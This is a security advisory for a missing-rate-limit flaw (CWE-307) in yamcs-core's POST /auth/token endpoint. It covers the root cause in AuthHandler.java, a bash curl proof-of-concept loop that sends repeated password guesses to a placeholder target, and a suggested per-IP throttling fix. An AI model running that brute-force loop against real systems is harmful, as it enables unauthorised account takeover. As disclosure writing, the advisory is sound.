GHSA-w5r6-mcgq-7pq4

### Summary

The authentication endpoint `POST /auth/token` in `yamcs-core` lacks any form of rate limiting, account lockout, or failed attempt throttling. As a result, an unauthenticated remote attacker can perform unlimited password guessing attempts against any user account.

This missing rate limiting vulnerability (CWE-307) significantly increases the risk of successful brute-force attacks.

### Root Cause

**File:** `yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java`

`POST /auth/token` has no rate limiting, no lockout after failed attempts, and no CAPTCHA. The handler processes unlimited authentication requests without any throttling mechanism:

```java // AuthHandler.java — handleToken() // No throttle, no failed attempt counter, no lockout private void handleToken(HandlerContext ctx) { ... getSecurityStore().login(token).whenComplete((info, err) -> { // Directly attempts authentication with no rate check }); } ```

This is absent by default — the official quickstart and documentation contain no guidance on configuring rate limiting.

### Impact

An attacker can make unlimited authentication attempts against any account. This enables efficient brute-force attacks against any account.

### Proof of Concept

```bash # 20 attempts — zero rate limiting for i in $(seq 1 20); do curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \ -X POST "http://TARGET:8090/auth/token" \ -d "grant_type=password&username=operator&password=operator12$i" done # All return HTTP 401 — no HTTP 429 ever ```

**Confirmed:** 20 attempts in 0.07 seconds, no rate limiting enforced.

### Fix

Implement DRF-style throttling on `/auth/token`:

```java // Track failed attempts per IP private static final Cache<String, Integer> FAILED_ATTEMPTS = CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES).build();

private static final int MAX_ATTEMPTS = 10;

private void handleToken(HandlerContext ctx) { String ip = ctx.getRemoteAddress(); int attempts = Optional.ofNullable(FAILED_ATTEMPTS.getIfPresent(ip)).orElse(0); if (attempts >= MAX_ATTEMPTS) { throw new TooManyRequestsException("Rate limit exceeded"); } // ... existing auth logic // On failure: FAILED_ATTEMPTS.put(ip, attempts + 1) } ```